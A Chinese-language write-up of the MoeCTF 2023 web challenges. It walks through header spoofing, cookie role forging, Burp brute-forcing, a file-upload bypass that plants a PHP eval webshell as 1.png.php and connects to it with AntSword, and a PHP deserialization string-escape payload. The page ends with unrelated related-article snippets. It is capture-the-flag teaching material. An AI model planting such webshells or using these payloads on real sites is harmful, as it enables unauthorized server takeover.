[MoeCTF 2023] web题解

文章目录

  • web
    • http
    • cookie
    • 彼岸的flag
    • moe图床
    • 大海捞针
    • 夺命十三枪


web

http

连接到本地后,题目给了我们任务
在这里插入图片描述

  1. 第一个是要求我们GET传参UwU=u
  2. 第二个是要求我们POST传参Luv=u
  3. 第三个是要求我们cookie值为admin
  4. 第四个是要求我们来自127.0.0.1
  5. 第五个是要求我们用MoeBrowser浏览器

在此之前先要学会用bp抓本地包
我们win+R打开cmd,然后输入

ipconfig

将下面的ip复制,把题目的localhost改掉,即可抓本地包
在这里插入图片描述
bp抓包,添加我们的参数,得到flag

在这里插入图片描述

cookie

打开题目,按照给的提示
我们先到./register,POST传参json数据

{"username":"dog","password":"123456"
}

在这里插入图片描述

然后再到./login登陆一下

{"username":"dog","password":"123456"
}

在这里插入图片描述查看./flag,结果不行
在这里插入图片描述
尝试注册admin用户发现已存在,结合提示可以修改cookie值
抓包./status,将token解码发现是加密过的

在这里插入图片描述我们修改一下roleadmin,再次编码,尝试在./status替换原来的token
然后访问./flag发现还是不行,于是直接访问./flag抓包修改cookie值
得到flag

在这里插入图片描述

彼岸的flag

打开题目(F12发现巨佬博客,原来是web前端知识)
发现有问题
在这里插入图片描述

直接选取元素,得到flag
在这里插入图片描述

moe图床

文件上传类型的题目
然后F12发现只允许上传png格式

if (!file){alert('请选择一个文件进行上传!');return;
}const allowedExtensions = ['png'];const fileExtension = file.name.split('.').pop().toLowerCase();if (!allowedExtensions.includes(fileExtension)) {alert('只允许上传后缀名为png的文件!');return;
}

分析一下

const allowedExtensions = ['png']; 

定义了一个名为 allowedExtensions 的数组,其中包含允许上传的文件扩展名。在这个例子中,只允许上传扩展名为 ‘png’ 的文件。

const fileExtension = file.name.split('.').pop().toLowerCase(); 

从 file 对象中提取文件扩展名。它使用 split() 方法根据点 (.) 分隔符将文件名拆分为数组,并使用 pop() 获取结果数组的最后一个元素,该元素表示文件扩展名。toLowerCase() 方法将文件扩展名转换为小写,以进行大小写不敏感的比较。

这样看只需要我们上传的文件名里面包含png的拓展名即可绕过
前提,我们还只能上传png绕过js前端检测

我们创建1.png

<?php @eval($_POST[shell]);?>

然后bp抓包修改文件名为1.png.php,上传成功
在这里插入图片描述

然后蚁剑连接

在这里插入图片描述

得到flag

在这里插入图片描述

大海捞针

打开题目,给了提示
在这里插入图片描述应该说的是GET传参id可以连接到不同宇宙,id的值从1到1000
一个个找太麻烦了,结合提示
在这里插入图片描述应该是要爆破
我们直接bp抓包丢到instruder,添加payload位置
在这里插入图片描述
设置payload集为从1到1000

在这里插入图片描述开始爆破,发现?id=676的长度最特殊,猜测有flag
在这里插入图片描述
我们直接访问,发现是另外一道题彼岸的flag出现过的
直接查看页面源代码,搜索一下得到flag
在这里插入图片描述

夺命十三枪

源代码

 <?php
highlight_file(__FILE__);require_once('Hanxin.exe.php');$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';try{echo unserialize($after);
}catch (Exception $e) {echo "Even Caused A Glitch...";
}
?>
Your Movements: O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"Nobody";}
Far away from COOL...

我们再看下Hanxin.exe.php

 <?phpif (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual = array("di_yi_qiang" => "Lovesickness","di_er_qiang" => "Heartbreak","di_san_qiang" => "Blind_Dragon","di_si_qiang" => "Romantic_charm","di_wu_qiang" => "Peerless","di_liu_qiang" => "White_Dragon","di_qi_qiang" => "Penetrating_Gaze","di_ba_qiang" => "Kunpeng","di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts","di_shi_qiang" => "Overlord","di_shi_yi_qiang" => "Letting_Go","di_shi_er_qiang" => "Decisive_Victory","di_shi_san_qiang" => "Unrepentant_Lethality");public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){$move = str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant = '';public $Spear_Owner = 'Nobody';function __construct($chant){$this->Chant = $chant;$this->Spear_Owner = 'Nobody';}function __toString(){if($this->Spear_Owner !== 'MaoLei'){return 'Far away from COOL...';}else{return "Omg You're So COOOOOL!!! " . getenv('FLAG');}}
}?>

分析一下

  1. 我们先看到出口Omg_It_Is_So_Cool_Bring_Me_My_Flag.__toString(),只要满足Spear_Owner为MaoLei就可得到flag
  2. 往前推,当使用echo或者print输出对象时会调用此方法,源代码的echo 'Your Movements: ' . $after . '<br>';刚好满足

但是我们实例化Omg_It_Is_So_Cool_Bring_Me_My_Flag()后,可以发现Spear_Owner的值我们是修改不了的。这就是个问题,我们怎么做到修改一个不可被修改的值呢

关键点在于Deadly_Thirteen_Spears.Make_a_Move(),同时结合我们的目的,我们可以利用字符串逃逸来实现绕过

我们先随便传入test
在这里插入图片描述我们的目标是

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:4:"test";s:11:"Spear_Owner";s:6:"MaoLei";}

我们尝试把";s:11:"Spear_Owner";s:6:"MaoLei";}写到Chant里面,然后把后面的部分挤掉
同时长度变为4+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:39:"test";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

这时候我们利用替换前后长度差与之相等
这里我选的是构造7*(di_qi_qiang),因为当它被替换后长度差为5,5*7刚好为我们要的
只要做到下面这样就可以得到flag,长度为39+35

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:74:"di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

所以payload为

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/105462.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言-程序环境和预处理(1)编译、连接介绍以及预处理函数,预处理符号详解及使用说明。

前言 本篇文章讲述了程序的翻译环境和执行环境&#xff0c;编译、连接&#xff0c;预定义符号&#xff0c;#define&#xff0c;#符号和##符号的相关知识。 文章目录 前言1.程序的翻译环境和执行环境2.编译链接2.1 翻译环境2.2 运行环境 3.预处理详解&#xff08;各预处理符号使…

基于微服务+Java+Spring Cloud开发的建筑工地智慧平台源码 云平台多端项目源码

建筑工地智慧平台源码&#xff0c;施工管理端、项目监管端、数据大屏端、移动APP端全套源码 技术架构&#xff1a;微服务JavaSpring Cloud VueUniApp MySql自主版权实际应用案例演示 建筑工地智慧平台已应用于线上巡查、质量管理、实名制管理、危大工程管理、运渣车管理、绿色…

创建一个react项目 create-next-app

之前是用的creact-react-app来创建的&#xff1a;npx create-react-app my-app 现在官网却推荐使用creact-next-app: npx create-next-app 我们把他所有的选项都选上 这里的css使用了tailwind 项目结构很奇怪啊&#xff0c;没找到.html文件&#xff0c;只在src/app/layout.t…

第4章 选择结构程序设计

if语句&#xff08;if单分支、if-else双分支、else-if嵌套&#xff09;&#xff1b;switch语句;选择结构的嵌套;选择结构程序设计方法。 1.基本要求 (1)理解三种if语句的语法结构,掌握使用if语句设计选择结构程序的方法。 (2)理解switch语句的语法结构,掌握使用switch语句设计…

竞赛 深度学习LSTM新冠数据预测

文章目录 0 前言1 课题简介2 预测算法2.1 Logistic回归模型2.2 基于动力学SEIR模型改进的SEITR模型2.3 LSTM神经网络模型 3 预测效果3.1 Logistic回归模型3.2 SEITR模型3.3 LSTM神经网络模型 4 结论5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 …

centos离线安装telnet、traceroute工具

安装包下载地址 安装包下载地址在这里 直接输入包名&#xff0c;筛选系统&#xff0c;根据自己系统版本确定该下哪个包 centos离线安装telnet 准备三个安装包 xinetd-2.3.15-14.el7.x86_64.rpmtelnet-server-0.17-65.el7_8.x86_64.rpmtelnet-0.17-65.el7_8.x86_64.rpm 三个…

latex如何对.pdf格式的图片实现裁剪

目录 问题描述&#xff1a; 问题解决&#xff1a; 问题描述&#xff1a; 在使用draw.io进行绘图&#xff0c;导出的时候不知道为什么周围会有留白&#xff0c;比如下图&#xff1a; 在导入latex的时候&#xff0c;会因为两侧的留白导致整张图片缩小。 如果直接进行裁剪.pdf&a…

学习记忆——数学篇——案例——代数——不等式——一元二次不等式

重点记忆法 归类记忆法 解一元二次不等式的步骤 1.先化成标准型&#xff1a; a x 2 b x c > 0 ( 或 < 0 ) ax^2bxc>0(或<0) ax2bxc>0(或<0)&#xff0c;且a >0&#xff1b; 2.计算对应方程的判别式 △ △ △&#xff1b; 3.求对应方程的根&#xff1b…

Apache_Log4j2查找功能JNDI注入_CVE-2021-44228

Apache_Log4j2查找功能JNDI注入_CVE-2021-44228 文章目录 Apache_Log4j2查找功能JNDI注入_CVE-2021-442281 在线漏洞解读:2 环境搭建3 影响版本&#xff1a;4 漏洞复现4.1 访问页面4.2 poc漏洞验证 4.3 在dnslog获取个域名4.4 使用bp抓包进行分析4.5 通信成功&#xff0c;此处可…

有外媒称,Linux 发行版Ubuntu 23.10也将正式支持树莓派 5

据了解&#xff0c;在树莓派 4 单板计算机推出 4年后&#xff0c;树莓派 5也在上月末正式发布&#xff0c;并且两者对比之后可以发现&#xff0c;树莓派 5主要提升性能是添加了对 PCIe 2.0的支持。 Multiable万达宝医疗ERP(www.multiable.com.cn/solutions_yl)具备严格的保质期…

Windows中将tomcat以服务的形式安装,然后在服务进行启动管理

Windows中将tomcat以服务的形式安装,然后在服务进行启动管理 第一步&#xff1a; 在已经安装好的tomcat的bin目录下&#xff1a; 输入cmd&#xff0c;进入命令窗口 安装服务&#xff1a; 输入如下命令&#xff0c;最后是你的服务名&#xff0c;避免中文和特殊字符 service.…

cartographer中的扫描匹配

cartographer中的扫描匹配 cartographer中使用了两种扫描匹配方法&#xff1a;CSM&#xff08;相关性扫描匹配方法&#xff08;暴力匹配&#xff09;&#xff09;、ceres优化匹配方法 CSM可以简单地理解为暴力搜索&#xff0c;即每一个激光数据与子图里的每一个位姿进行匹配&…

为什么手机会莫名多出许多软件?

许多手机用户都曾遭遇过这样的问题&#xff0c;他们在使用手机的过程中&#xff0c;突然发现手机屏幕上出现了一些未知的软件。这些软件并非他们主动下载的&#xff0c;但它们却显现在屏幕上。这些软件从何而来&#xff1f; 其实&#xff0c;这些软件往往是在浏览网页、阅读小…

精品Python基于django就业数据分析平台求职招聘应聘-爬虫可视化大屏

《[含文档PPT源码等]精品基于django就业数据分析平台-爬虫》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技术&#xff1a;JavaS…

从基础到卷积神经网络(第13天)

1. PyTorch 神经网络基础 1.1 模型构造 1. 块和层 首先&#xff0c;回顾一下多层感知机 import torch from torch import nn from torch.nn import functional as Fnet nn.Sequential(nn.Linear(20, 256), nn.ReLU(), nn.Linear(256, 10))X torch.rand(2, 20) # 生成随机…

容器化应用程序管理与分发工具集 | 开源专题 No.34

kubernetes/kubernetes Stars: 101.7k License: Apache-2.0 Kubernetes 是一个开源系统&#xff0c;用于管理跨多个主机的容器化应用程序。它提供了部署、维护和扩展应用程序的基本机制。Kubernetes 借鉴了 Google 在大规模运行生产负载方面十五年的经验&#xff0c;并结合了社…

【Excel】【latex】将EXCEL中单元格的计算关系还原为公式,用c#重构

在excel中&#xff0c;将很多个单元格&#xff0c;及其内部的公式&#xff0c;用文本的形式复制出来 Ctrl ~将 Excel 切换到公式视图&#xff0c;可以看到单元格中的公式&#xff0c;而不是公式的结果。 像平常一样复制和粘贴单元格。粘贴时&#xff0c;会看到的是单元格中的…

Android studio控制台 输出乱码解决方法

在AS的安装目录&#xff0c;找到 studio64.exe.vmoptions 文件&#xff0c; 用编辑器打开文件&#xff0c;在最后面加上下面的代码&#xff1a; -Defile.encodingUTF-8然后 重启AS。 注意&#xff1a; 下面两种方式也能打开studio64.exe.vmoptions 文件&#xff0c;但是需要确…

【ELK 使用指南】ELK + Filebeat 分布式日志管理平台部署

ELK和EFLK 一、前言1.1 日志分析的作用1.2 需要收集的日志1.3 完整日志系统的基本特征 二、ELK概述2.1 ELK简介2.2 为什么要用ELK?2.3 ELK的组件 三、ELK组件详解3.1 Logstash3.1.1 简介3.1.2 Logstash命令常用选项3.1.3 Logstash 的输入和输出流3.1.4 Logstash配置文件 3.2 E…

关于网络协议的若干问题(四)

1、QUIC 是一个精巧的协议&#xff0c;它有哪些特性&#xff1f; 答&#xff1a;QUIC 还有其他特性&#xff0c;一个是快速建立连接。另一个是拥塞控制&#xff0c;QUIC 协议当前默认使用了 TCP 协议的 CUBIC&#xff08;拥塞控制算法&#xff09;。 CUBIC 进行了不同的设计&…